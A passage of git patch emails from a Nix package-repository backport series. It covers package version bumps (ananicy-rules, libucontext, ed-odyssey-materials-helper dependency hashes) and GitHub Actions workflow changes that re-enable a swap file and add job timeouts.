+  version = "0-unstable-2025-08-06";
 
   src = fetchFromGitHub {
     owner = "CachyOS";
     repo = "ananicy-rules";
-    rev = "339bee6f2de3de8e866c23b210baf6cabf153549";
-    hash = "sha256-D/+/7NdfV8kHwYm5mJ6b7Vl3QCUdK2+NbZSefWTZt5k=";
+    rev = "80576999c92af3eb88ea2008d4a18d29393ed579";
+    hash = "sha256-SdxOgm7purRxIU16RFuSgUzKIgi+7gJ2hJuCDVCjd54=";
   };
 
   dontConfigure = true;

From e278610b7cb47dc8a97e64da082e5b5e1f8b1071 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Fri, 8 Aug 2025 18:51:04 +0200
Subject: [PATCH 3385/4511] Revert "workflows/eval: disable swap"

This reverts commit f2648b263b69aecca529c14fd5441503850a7c0d.

While the idea to never use swap was fine, in practice this meant that
when nix ran OOM, some other process was killed instead. This lead to
the job not being possible to be cancelled anymore and thus needing to
timeout, before subsequent jobs could be scheduled. This can take up to
6 hours for GitHub Actions by default.

Re-enabling the swap file to catch this case more gracefully. It's still
the goal to never actually *use* the swap file during Eval and just a
safeguard.

Keeping the changed chunkSize and not reverting it - this makes it
slightly less likely to hit the swap file when running with Lix.

(cherry picked from commit 9cde368b4ca0da1979ab3454b0c1dca64c69a2e5)
---
 .github/workflows/eval.yml | 13 +++++++++----
 1 file changed, 9 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 805f8572cf15..3643c2340b83 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -32,11 +32,16 @@ jobs:
     outputs:
       targetRunId: ${{ steps.targetRunId.outputs.targetRunId }}
     steps:
-      # We'd rather fail than run slow eval on swap.
-      # Failing allows us to adjust the chunkSize to remain fast.
-      - name: Disable swap
+      # This is not supposed to be used and just acts as a fallback.
+      # Without swap, when Eval runs OOM, it will fail badly with a
+      # job that is sometimes not interruptible anymore.
+      # If Eval starts swapping, decrease chunkSize to keep it fast.
+      - name: Enable swap
         run: |
-          sudo swapoff -a
+          sudo fallocate -l 10G /swap
+          sudo chmod 600 /swap
+          sudo mkswap /swap
+          sudo swapon /swap
 
       - name: Check out the PR at the test merge commit
         uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

From 63301f9889a929c462cbae018b4adec59c782572 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sat, 9 Aug 2025 17:19:07 +0200
Subject: [PATCH 3386/4511] .github/workflows: set timeouts

None of our jobs is expected to run for 6 hours, the GitHub limit. These
limits are generous and take into accounts that some jobs need to wait
for others.

If jobs exceed these times, most likely something else is wrong and
needs investigation.

(cherry picked from commit 436d54174dd639cf13c51d46f774822f4d60148f)
---
 .github/workflows/backport.yml         | 1 +
 .github/workflows/build.yml            | 1 +
 .github/workflows/check.yml            | 1 +
 .github/workflows/codeowners-v2.yml    | 2 ++
 .github/workflows/dismissed-review.yml | 1 +
 .github/workflows/edited.yml           | 1 +
 .github/workflows/eval.yml             | 3 +++
 .github/workflows/lint.yml             | 3 ++-
 .github/workflows/periodic-merge.yml   | 1 +
 .github/workflows/reviewers.yml        | 1 +
 10 files changed, 14 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/backport.yml b/.github/workflows/backport.yml
index 709d8a6edd8f..57c0719ac5e2 100644
--- a/.github/workflows/backport.yml
+++ b/.github/workflows/backport.yml
@@ -23,6 +23,7 @@ jobs:
     name: Backport Pull Request
     if: vars.NIXPKGS_CI_APP_ID && github.event.pull_request.merged == true && (github.event.action != 'labeled' || startsWith(github.event.label.name, 'backport'))
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 3
     steps:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 7c4d9ac48a9b..e9e090cb5b2a 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -43,6 +43,7 @@ jobs:
             desc: shell
     name: '${{ matrix.system }}: ${{ matrix.desc }}'
     runs-on: ${{ matrix.runner }}
+    timeout-minutes: 60
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index 2b8dffb9f163..c04a6dc49186 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -38,6 +38,7 @@ jobs:
     permissions:
       pull-requests: write
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 3
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
diff --git a/.github/workflows/codeowners-v2.yml b/.github/workflows/codeowners-v2.yml
index 97fcfc63bdd2..bcc85faed352 100644
--- a/.github/workflows/codeowners-v2.yml
+++ b/.github/workflows/codeowners-v2.yml
@@ -49,6 +49,7 @@ jobs:
   check:
     name: Check
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 5
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
@@ -106,6 +107,7 @@ jobs:
   request:
     name: Request
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 5
     steps:
       - uses: cachix/install-nix-action@f0fe604f8a612776892427721526b4c7cfb23aba # v31
 
diff --git a/.github/workflows/dismissed-review.yml b/.github/workflows/dismissed-review.yml
index e8ab48bda075..1d99c1c9cf06 100644
--- a/.github/workflows/dismissed-review.yml
+++ b/.github/workflows/dismissed-review.yml
@@ -25,6 +25,7 @@ jobs:
   minimize:
     name: Minimize as resolved
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 2
     steps:
       - uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
         with:
diff --git a/.github/workflows/edited.yml b/.github/workflows/edited.yml
index 49fccb5f48ba..ccc55e820e3a 100644
--- a/.github/workflows/edited.yml
+++ b/.github/workflows/edited.yml
@@ -31,6 +31,7 @@ jobs:
     name: Trigger jobs
     runs-on: ubuntu-24.04
     if: github.event.changes.base.ref.from && github.event.changes.base.ref.from != github.event.pull_request.base.ref
+    timeout-minutes: 2
     steps:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index 3643c2340b83..64f6d2ba668e 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -31,6 +31,7 @@ jobs:
     name: ${{ matrix.system }}
     outputs:
       targetRunId: ${{ steps.targetRunId.outputs.targetRunId }}
+    timeout-minutes: 15
     steps:
       # This is not supposed to be used and just acts as a fallback.
       # Without swap, when Eval runs OOM, it will fail badly with a
@@ -155,6 +156,7 @@ jobs:
     if: needs.eval.outputs.targetRunId
     permissions:
       statuses: write
+    timeout-minutes: 5
     steps:
       - name: Download output paths and eval stats for all systems
         uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8
@@ -237,6 +239,7 @@ jobs:
   misc:
     if: ${{ github.event_name != 'push' }}
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 10
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 0b2da1070d20..ccc2846dab0f 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -19,6 +19,7 @@ defaults:
 jobs:
   treefmt:
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 10
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
@@ -51,6 +52,7 @@ jobs:
 
   parse:
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 10
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
         with:
@@ -72,7 +74,6 @@ jobs:
 
   nixpkgs-vet:
     runs-on: ubuntu-24.04-arm
-    # This should take 1 minute at most, but let's be generous. The default of 6 hours is definitely too long.
     timeout-minutes: 10
     steps:
       - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
diff --git a/.github/workflows/periodic-merge.yml b/.github/workflows/periodic-merge.yml
index 046a0d2fb4dd..6fa5e699fc5d 100644
--- a/.github/workflows/periodic-merge.yml
+++ b/.github/workflows/periodic-merge.yml
@@ -19,6 +19,7 @@ defaults:
 jobs:
   merge:
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 5
     steps:
       # Use a GitHub App to create the PR so that CI gets triggered
       # The App is scoped to Repository > Contents and Pull Requests: write for Nixpkgs
diff --git a/.github/workflows/reviewers.yml b/.github/workflows/reviewers.yml
index 1d518133cf6d..797fa9e91911 100644
--- a/.github/workflows/reviewers.yml
+++ b/.github/workflows/reviewers.yml
@@ -27,6 +27,7 @@ defaults:
 jobs:
   request:
     runs-on: ubuntu-24.04-arm
+    timeout-minutes: 20
     steps:
       - name: Check out the PR at the base commit
         uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

From a9a7aad1dfe012524346f1b4eca03d013e1d1c0f Mon Sep 17 00:00:00 2001
From: Jade Lovelace <software@lfcode.ca>
Date: Sat, 9 Aug 2025 17:38:33 +0000
Subject: [PATCH 3387/4511] libucontext: 1.2 -> 1.3.2

The package was previously busted: there were random things in
result/usr, which is very much wrong. I rewrote it to use the meson
build since the makefile is pretty highly busted.

(cherry picked from commit cea61254193cb5cf80832183883e0c0fa509005b)
---
 pkgs/by-name/li/libucontext/package.nix | 18 +++++++++++++-----
 1 file changed, 13 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/li/libucontext/package.nix b/pkgs/by-name/li/libucontext/package.nix
index 375fc20164ac..8bb8fed76700 100644
--- a/pkgs/by-name/li/libucontext/package.nix
+++ b/pkgs/by-name/li/libucontext/package.nix
@@ -2,26 +2,34 @@
   lib,
   stdenv,
   fetchFromGitHub,
+  meson,
+  ninja,
+  nix-update-script,
 }:
 
 stdenv.mkDerivation rec {
   pname = "libucontext";
-  version = "1.2";
+  version = "1.3.2";
 
   src = fetchFromGitHub {
     owner = "kaniini";
     repo = pname;
-    rev = "v${version}";
-    hash = "sha256-fk3ZKkp3dsyeF6SOWSccr5MkKEwS4AAuosD/h+6wjSw=";
+    rev = "libucontext-${version}";
+    hash = "sha256-aBmGt8O/HTWM9UJMKWz37uDLDkq1JEYTUb1SeGu9j9M=";
   };
 
-  makeFlags = [ "DESTDIR=$(out)" ];
+  nativeBuildInputs = [
+    meson
+    ninja
+  ];
+
+  passthru.updateScript = nix-update-script { };
 
   meta = with lib; {
     homepage = "https://github.com/kaniini/libucontext";
     description = "ucontext implementation featuring glibc-compatible ABI";
     license = licenses.isc;
     platforms = platforms.linux;
-    maintainers = [ ];
+    teams = [ teams.lix ];
   };
 }

From be2cecf0bd688f7f1cfdb4b2a2fc1a2a5eb8bd9a Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 9 Aug 2025 16:46:56 +0000
Subject: [PATCH 3388/4511] ed-odyssey-materials-helper: 2.199 -> 2.223

(cherry picked from commit cb0f932205d3d21e50df393f8cf000d67377f8b3)
---
 .../ed/ed-odyssey-materials-helper/deps.json  | 337 +++++++++---------
 .../ed-odyssey-materials-helper/package.nix   |   4 +-
 2 files changed, 166 insertions(+), 175 deletions(-)

diff --git a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
index bb16a752afc2..f5c91e0b0c33 100644
--- a/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
+++ b/pkgs/by-name/ed/ed-odyssey-materials-helper/deps.json
@@ -7,20 +7,10 @@
    "pom": "sha256-7wF38tn4fbnw0w7dQy2wLlhqHejMkVb8HcZRgvDh5oA="
   }
  },
- "https://nexus.jixxed.nl/nexus/content/repositories/releases/nl": {
-  "jixxed#opencv/4.5.3-0": {
+ "https://nexus.jixxed.nl": {
+  "nexus/content/repositories/releases/nl/jixxed#opencv/4.5.3-0": {
    "jar": "sha256-PwimnmKzejFrZdIsiNLtTExlvRvWKxKPDBbMTe4KhQQ=",
    "pom": "sha256-yE9S2bEo5C5Y+j2+eQOHGnpJ1G1Soee7rNFHiRr/pNo="
-  },
-  "jixxed/lept4j#lept4j/1.16.6": {
-   "jar": "sha256-nZH3ZJ4mabbNGm4rijF22oOPaMqjPQj9Yb1ry7GX81U=",
-   "module": "sha256-dIssWUftjqegtJqcPuyCuti0oFhBYZ16cIPjWPlCweA=",
-   "pom": "sha256-k31BbQcMlLWOjhhkUgrWnOUyb/zKBhRzq8hC6p6d/eY="
-  },
-  "jixxed/tess4j#tess4j/5.2.9": {
-   "jar": "sha256-gsiiiVKkAttbXSZs4Pooxy+z+tY/d+mGBpoUMxPkQ2I=",
-   "module": "sha256-cf6jtMnOwWWJcSa+mJO1j9D21kCWkIhp4E6TzZVOD34=",
-   "pom": "sha256-twbAdpEaiT5DuA7JosdbWEF/kJbt5K5YpKP6ISDgx28="
   }
  },
  "https://plugins.gradle.org/m2": {
@@ -37,13 +27,6 @@
   "com/fasterxml/jackson#jackson-parent/2.17": {
    "pom": "sha256-rubeSpcoOwQOQ/Ta1XXnt0eWzZhNiSdvfsdWc4DIop0="
   },
-  "com/google/code/gson#gson-parent/2.10.1": {
-   "pom": "sha256-QkjgiCQmxhUYI4XWCGw+8yYudplXGJ4pMGKAuFSCuDM="
-  },
-  "com/google/code/gson#gson/2.10.1": {
-   "jar": "sha256-QkHBSncnw0/uplB+yAExij1KkPBw5FJWgQefuU7kxZM=",
-   "pom": "sha256-0rEVY09cCF20ucn/wmWOieIx/b++IkISGhzZXU2Ujdc="
-  },
   "com/zaxxer#SparseBitSet/1.3": {
    "jar": "sha256-92uFrbDAByGuJnt8/eTaf3HTEhzCFgyfwAwMifjFPIo=",
    "pom": "sha256-EY1n40Uymhjf9OvRVX+V8MCrS0y51nh0nWZvkjAAF2g="
@@ -60,6 +43,11 @@
    "jar": "sha256-a9QQVOJuuuiLDaWNxj7BEKcO+tXxLYcESTRwx8VJcZA=",
    "pom": "sha256-uFQ5wq04pYG40n+nWy+zC3HN4dT8A8ZE4yMvhN8kWqE="
   },
+  "io/freefair/gradle#lombok-plugin/8.14": {
+   "jar": "sha256-NiigQcRX+SJZnyy+9Gq7OitAUmqBQ5FurJFe756wnCY=",
+   "module": "sha256-a+nB6Xh7bS68ZrkwgSw5s1zAshuxOhMbgmqt2j9r+cI=",
+   "pom": "sha256-/LTz+DpyuyF6VjWEfAWzWzjgHufzS6gV28PFiuGV5Zo="
+  },
   "io/freefair/jsass-java#io.freefair.jsass-java.gradle.plugin/6.5.0.2": {
    "pom": "sha256-hoEYwHzaHj3q/o0bF3HzOgyN0lEIEAu/pjFl3hzTvmg="
   },
@@ -88,6 +76,9 @@
   "net/jsign#jsign-parent/7.1": {
    "pom": "sha256-IZZHpKDOVcG4bMrbQRLPsaEkteDcISP0ohsCUqcQMMI="
   },
+  "net/jsign#net.jsign.gradle.plugin/7.1": {
+   "pom": "sha256-XJxtsFWOgaILe5EDl23aVKtCb6dLzHfmcV3nl3RAt1U="
+  },
   "net/rdrei/android/buildtimetracker#net.rdrei.android.buildtimetracker.gradle.plugin/0.11.0": {
    "pom": "sha256-SbQtvX9N5DU8ntUmpcpTtrTdDhla7rQR7L213fZ6kG8="
   },
@@ -155,13 +146,13 @@
    "jar": "sha256-rOceeYcwWeJzA2Z0VgtQw9a5RbfKFosNSWKtdlCuHuw=",
    "pom": "sha256-rK0VkHGQpeZ7hZfM+wEx795ZbC+gXYrZ9LnGHaMfNkU="
   },
-  "org/beryx#badass-jlink-plugin/3.1.1": {
-   "jar": "sha256-nSZZZ0y6Ic/QwU2qCoRboSrTOu9Oi8FSrqHAr9fYRWg=",
-   "module": "sha256-SbchA0l5YXx6x1VVyjjSeL1ZKwLIPY6DAAJHfc7Zzz8=",
-   "pom": "sha256-gpCklq0NVdcv9gBvCrO3NBSX1CBvlRs/+c/cFkKVKJs="
+  "org/beryx#badass-jlink-plugin/3.1.2": {
+   "jar": "sha256-JBAoa9WLW12KhHDH5AyAupDXEe28mC7YO258wSqDXx8=",
+   "module": "sha256-6pOdc3KiF+6oJK8ovJh9kpaR+PcVRlFeRgXRfK3RgW4=",
+   "pom": "sha256-so4VCD6W0FC05XzLTBA7lwnRCtVi9wNRyK3dJpv7vvk="
   },
-  "org/beryx/jlink#org.beryx.jlink.gradle.plugin/3.1.1": {
-   "pom": "sha256-P1LgbRsiWC9Ple5L37nM4oFQ5llfnKpmSKZoWYhw5FU="
+  "org/beryx/jlink#org.beryx.jlink.gradle.plugin/3.1.2": {
+   "pom": "sha256-v3WZWFF1FKmxUeeI81VK9+qb778Qr6/F9Z/MdpRhGQM="
   },
   "org/bouncycastle#bcpkix-lts8on/2.73.7": {
    "jar": "sha256-WHRYb7Se7ryZuH8SNShnm8Wlw4j+pL+E0semmQguKK0=",
@@ -185,18 +176,21 @@
   "org/eclipse/ee4j#project/1.0.7": {
    "pom": "sha256-IFwDmkLLrjVW776wSkg+s6PPlVC9db+EJg3I8oIY8QU="
   },
-  "org/gradle/toolchains#foojay-resolver/0.10.0": {
-   "jar": "sha256-DNfKn57RuooyPxkCwFryHdYiOhMDRfvnj15I1YzNbUw=",
-   "module": "sha256-SduV7YEABA8dZfCWuied7msSeCSNL3k7z7itAg59HNA=",
-   "pom": "sha256-vndZUF4PPTTVzJzcaGwZxlIuhMzg+MEJ69LW9HsYqSU="
+  "org/gradle/toolchains#foojay-resolver/1.0.0": {
+   "jar": "sha256-eLhqR9/fdpfJvRXaeJg/2A2nJH1uAvwQa98H4DiLYKg=",
+   "module": "sha256-YZDPDkLmZMEeGsCnhWmasCtUnOo0OSxnnzbYosVQ/Lk=",
+   "pom": "sha256-m8SLSeQi2e2rw5asGNiwQd/CIhLX+ujjVmfShdSBApo="
   },
-  "org/gradle/toolchains/foojay-resolver-convention#org.gradle.toolchains.foojay-resolver-convention.gradle.plugin/0.10.0": {
-   "pom": "sha256-OpLrFa3uBcGiaCT2SIcqVx6fk99koO3L4TTjjtLY4Q8="
+  "org/gradle/toolchains/foojay-resolver-convention#org.gradle.toolchains.foojay-resolver-convention.gradle.plugin/1.0.0": {
+   "pom": "sha256-8TMkmhh1Suah0nAdANhJsa+6ewaD3bX8GxinAHHOwvo="
   },
-  "org/gradlex#extra-java-module-info/1.12": {
-   "jar": "sha256-ybk/zohPZLCYhCw52Ms4e8n4QARboRZ+7fQROB/OXNc=",
-   "module": "sha256-QK7HMDoSAYnizvSrfwfX9emFNndUTj43tbEl6H5MYzU=",
-   "pom": "sha256-fStam3XBvtrwHj8ieDV9Bpbrl5snNC8FZhHPTM44OtQ="
+  "org/gradlex#extra-java-module-info/1.13": {
+   "jar": "sha256-EIqHsSfToameWdHmEEo+kdCx/5aWGM+1s54+J/H+r20=",
+   "module": "sha256-1kT0XN5oN003+pNhhJWZK6ZBHyJFhklk50VlHpffJhE=",
+   "pom": "sha256-sYMue36yP41a32LHkXcuPp/IhIMUnKjd5QIbsQPUQlo="
+  },
+  "org/gradlex/extra-java-module-info#org.gradlex.extra-java-module-info.gradle.plugin/1.13": {
+   "pom": "sha256-ll4caPhrb0fP4cqP2rYTPRxz0w4eerkuTHirvGnFs4c="
   },
   "org/jsonschema2pojo#org.jsonschema2pojo.gradle.plugin/1.2.2": {
    "pom": "sha256-OS098xRtN26kokx+XtNhLennIcfT6+T3vzq5oiSVhds="
@@ -257,39 +251,39 @@
   "com/fasterxml#oss-parent/58": {
    "pom": "sha256-VnDmrBxN3MnUE8+HmXpdou+qTSq+Q5Njr57xAqCgnkA="
   },
-  "com/fasterxml#oss-parent/65": {
-   "pom": "sha256-2wuaUmqeMDxjuptYSWicYfs4kkf6cjEFS5DgvwC0MR4="
-  },
   "com/fasterxml#oss-parent/68": {
    "pom": "sha256-Jer9ltriQra1pxCPVbLBQBW4KNqlq+I0KJ/W53Shzlc="
   },
+  "com/fasterxml#oss-parent/69": {
+   "pom": "sha256-OFbVhKqhyOM86UxnJE9x9vcFOKJZ/+jngXYbn6qth18="
+  },
   "com/fasterxml/jackson#jackson-base/2.17.2": {
    "pom": "sha256-fPnFn70UyQVnRxN7kNcKleh3YN/huCRWufAjF9W1b68="
   },
-  "com/fasterxml/jackson#jackson-base/2.19.1": {
-   "pom": "sha256-tzFwCGYicYqn1sGsCpSbZVD5vRSkRnLBo/K457doLhQ="
+  "com/fasterxml/jackson#jackson-base/2.19.2": {
+   "pom": "sha256-/779Z5U5lKd12QJsscFvkrqB0cHBMX7oorma4AnSYUM="
   },
   "com/fasterxml/jackson#jackson-bom/2.17.2": {
    "pom": "sha256-H0crC8IATVz0IaxIhxQX+EGJ5481wElxg4f9i0T7nzI="
   },
-  "com/fasterxml/jackson#jackson-bom/2.19.0": {
-   "pom": "sha256-sR/LPvM6wH5oDObYXxfELWoz2waG+6z68OQ0j8Y5cbI="
-  },
   "com/fasterxml/jackson#jackson-bom/2.19.1": {
    "pom": "sha256-um1o7qs6HME6d6it4hl/+aMqoc/+rHKEfUm63YLhuc4="
   },
+  "com/fasterxml/jackson#jackson-bom/2.19.2": {
+   "pom": "sha256-IgBr5w/QGAmemcbCesCYIyDzoPPCzgU8VXA1eaXuowM="
+  },
   "com/fasterxml/jackson#jackson-bom/2.9.4": {
    "pom": "sha256-ez/Ek1+/U/x5ypo75e1NLIL8pMU/hF0+EzgpMTic4CE="
   },
   "com/fasterxml/jackson#jackson-parent/2.17": {
    "pom": "sha256-rubeSpcoOwQOQ/Ta1XXnt0eWzZhNiSdvfsdWc4DIop0="
   },
-  "com/fasterxml/jackson#jackson-parent/2.19": {
-   "pom": "sha256-bNk0tNFdfz7hONl7I8y4Biqd5CJX7YelVs7k1NvvWxo="
-  },
   "com/fasterxml/jackson#jackson-parent/2.19.2": {
    "pom": "sha256-Y5orY90F2k44EIEwOYXKrfu3rZ+FsdIyBjj2sR8gg2U="
   },
+  "com/fasterxml/jackson#jackson-parent/2.19.3": {
+   "pom": "sha256-I9GGyNjNBgFdAixxDHFUI9Zg1J4pc7FYcLApzCYBhoI="
+  },
   "com/fasterxml/jackson#jackson-parent/2.9.1": {
    "pom": "sha256-fATwKdKA+7gnTnUCHckPObLGIv40mdrwf8NQgcLZ2f8="
   },
@@ -298,30 +292,30 @@
    "module": "sha256-KMxD6Y54gYA+HoKFIeOKt67S+XejbCVR3ReQ9DDz688=",
    "pom": "sha256-Q3gYTWCK3Nu7BKd4vGRmhj8HpFUqcgREZckQQD+ewLs="
   },
-  "com/fasterxml/jackson/core#jackson-annotations/2.19.1": {
-   "jar": "sha256-WjzXIRqyazYhP0OiqUvAUqM4WveAxcE1MpdBstealzA=",
-   "module": "sha256-GpQP75txqcrROLbmRlagMsS82A2DieBXDbP478JMftA=",
-   "pom": "sha256-19pMaD48eSc1pvS2xxwEF0XisdcDWQNQq5rPSufzyy0="
+  "com/fasterxml/jackson/core#jackson-annotations/2.19.2": {
+   "jar": "sha256-5RZ0OjFtz4PFcv/Jy26MXowTSIDIxRVbAvezTpxdw88=",
+   "module": "sha256-MZtf0wd2wFk8yNxajX4ITkuQcJpDUGQYQqu9WfyByBU=",
+   "pom": "sha256-SVAWGuCtZsaze8Ku0S0hxleeF3ltv86Yixm40MIjpck="
   },
   "com/fasterxml/jackson/core#jackson-core/2.17.2": {
    "jar": "sha256-choYkkHasFJdnoWOXLYE0+zA7eCB4t531vNPpXeaW0Y=",
    "module": "sha256-OCgvt1xzPSOV3TTcC1nsy7Q6p8wxohomFrqqivy38jY=",
    "pom": "sha256-F4IeGYjoMnB6tHGvGjBvSl7lATTyLY0nF7WNqFnrNbs="
   },
-  "com/fasterxml/jackson/core#jackson-core/2.19.1": {
-   "jar": "sha256-xGNp4aIYEBAK28klA7YvFanvFkBCeTL0/hWI73zn5IA=",
-   "module": "sha256-SZrw5ZPg0uFL2SnjRJnXIqbtT0KxsJ4inrzUgCzsF60=",
-   "pom": "sha256-Ciaizbd+H4G9km0juNWGw5XPPYiRkyrXA3D9RhtIfRo="
+  "com/fasterxml/jackson/core#jackson-core/2.19.2": {
+   "jar": "sha256-qnfq8pKTqGjEc3IZT3xSh9d9k3CwTqJdP//B5JBLWIA=",
+   "module": "sha256-Ua8uZ3g6XXJETeajB8jj7ZMAklbNJ+ghkVVZohZcCUI=",
+   "pom": "sha256-gfatIwlG88U9gYwZ/l7hEcH6MxuRXEvajQGC5rT/1lA="
   },
   "com/fasterxml/jackson/core#jackson-databind/2.17.2": {
    "jar": "sha256-wEmT8zwPhFNCZTeE8U84Nz0AUoDmNZ21+AhwHPrnPAw=",
    "module": "sha256-9HC96JRNV9axUMqov1O7mCqZ6x1lkecxr8uXKrPddx8=",
    "pom": "sha256-0kUGmLrpC+M48rmfrtppTNRQrbUhJCE+elO0Ehm1QGI="
   },
-  "com/fasterxml/jackson/core#jackson-databind/2.19.1": {
-   "jar": "sha256-C8U5QB1SxrFOZolHyFHcxJ94pK2j0fyOj3FEBhP8Js4=",
-   "module": "sha256-XvVBTiXAofGXClB66vPoH8vMELeV2/fz8sO74iL0STw=",
-   "pom": "sha256-0FgUkLOlW0piD5Dx88rShW5vLYEOTntMrvCANYU5qMA="
+  "com/fasterxml/jackson/core#jackson-databind/2.19.2": {
+   "jar": "sha256-ChvU6bDWcOYy1A7oxiWtN2IzUC8DwvWIm66pXQJbR6c=",
+   "module": "sha256-xgFVg0SRj0CDS7bVg4EepsiDvwaigXmkx04voYswbGg=",
+   "pom": "sha256-2KebdQK2m/JQaEwZCpiCOJImaG1dlikGdW2BzVskO4I="
   },
   "com/fasterxml/jackson/dataformat#jackson-dataformat-yaml/2.17.2": {
    "jar": "sha256-lBvNixOBuzsNcm+rQWJPqOzg7nts8oYK2V6BV85nM3Y=",
@@ -331,18 +325,18 @@
   "com/fasterxml/jackson/dataformat#jackson-dataformats-text/2.17.2": {
    "pom": "sha256-5pgyMzCpqCySDlqJtlsPciXI5zPBIqGPeWoEpuMfpcs="
   },
-  "com/fasterxml/jackson/datatype#jackson-datatype-jdk8/2.19.1": {
-   "jar": "sha256-WWbAICKggSuHYdmZ5VEMCiadhxeMte9n4TjVTq1pZsY=",
-   "module": "sha256-NfdRzSF0kNdXNzJ2FGHbgUhFYuT9Ffqi4ITi5D4VFlU=",
-   "pom": "sha256-JmrQX3yLG3pGlIuGMD3jJgkXbvHHzBQLsIRnl4GGhrU="
+  "com/fasterxml/jackson/datatype#jackson-datatype-jdk8/2.19.2": {
+   "jar": "sha256-YFX+8QdW6L0bDogHqh2IEzjGPKldWSceHaSSK5oXWB4=",
+   "module": "sha256-cJMXXvltnjxoFL59n5uQeZzGsd/JDqi8ZUVP9byleEo=",
+   "pom": "sha256-u2kaYgtZPgNo7zrOifnc1dY3VtXlvAXdyay3ih/Ny+c="
   },
-  "com/fasterxml/jackson/datatype#jackson-datatype-jsr310/2.19.1": {
-   "jar": "sha256-Nm64kGXVaKfA7ec8JqND8pPwdtL479DcacvldMoBIg4=",
-   "module": "sha256-ecqU3/ewblL4kY82bNhF8SrC9URx6FoI+8VnfgLDXMY=",
-   "pom": "sha256-Bb56epD6Z0lfYao8T73ptm/ql9IjrFafodODh1Ms1Kc="
+  "com/fasterxml/jackson/datatype#jackson-datatype-jsr310/2.19.2": {
+   "jar": "sha256-lwn0Pg+lYlYz7mbbbAePsejHygIJJpa6lep4Xb8PpqE=",
+   "module": "sha256-HNFClAh9xmpIvf8+t1CZyHsK0paspR6AgMuc3yCRF6E=",
+   "pom": "sha256-sa5Nojzw/imhXWUC4XcpfAssYp3Nlpy2RFfVVLZacS8="
   },
-  "com/fasterxml/jackson/module#jackson-modules-java8/2.19.1": {
-   "pom": "sha256-f8Z58ae3RvkFv2oMXH083ayiNnFadWqMwB6LilDxlU4="
+  "com/fasterxml/jackson/module#jackson-modules-java8/2.19.2": {
+   "pom": "sha256-o8wywUW5Yr45UE+FNsrGISTry1rVAy2TC8ck/flOgqQ="
   },
   "com/github/jai-imageio#jai-imageio-core/1.4.0": {
    "jar": "sha256-itPGjp7/+xCsh/+LxYmt9ksEpynFGUwHnv0GQ2B/1yo=",
@@ -359,10 +353,10 @@
   "com/github/scribejava#scribejava/8.3.3": {
    "pom": "sha256-KkpDgAox1XD2wY1TmtgWIZ2xgTuY/gsjq2X4mg4N+lc="
   },
-  "com/github/spotbugs#spotbugs-annotations/4.9.3": {
-   "jar": "sha256-E1Mr/i9F/NSRQyIh33LZzQ77j5h8kkXhK++hksiSXOM=",
-   "module": "sha256-n2xoDBb1JDHMHXApXR5PCvYEosybsBXFKyc9VJ9kf10=",
-   "pom": "sha256-al3AL2Ye8y5MwfndQnfAwNtjeN+e+DFO3xfPv5DPXgs="
+  "com/github/spotbugs#spotbugs-annotations/4.8.6": {
+   "jar": "sha256-RUi3SoFe1E9UgMpPBiBKiwCAncfl9qglqe3xj0A3e2U=",
+   "module": "sha256-2ye9p0GFWoGc1Q6dYSMMQv4qoqZEuU1zMTwFIXrgUjk=",
+   "pom": "sha256-3U71+ubjJmCxUtecvHW8uuM0JWxX3ID8TfDhdhWZRWI="
   },
   "com/github/virtuald#curvesapi/1.08": {
    "jar": "sha256-rZWwi4u/nX0X5eAIFImPojMk8yvFti8aN4AealbOAHk=",
@@ -395,9 +389,9 @@
    "jar": "sha256-d0QOJwsLyaJJkDxaB2w2pyLEiGyk9CZ18pA6HFPtYaU=",
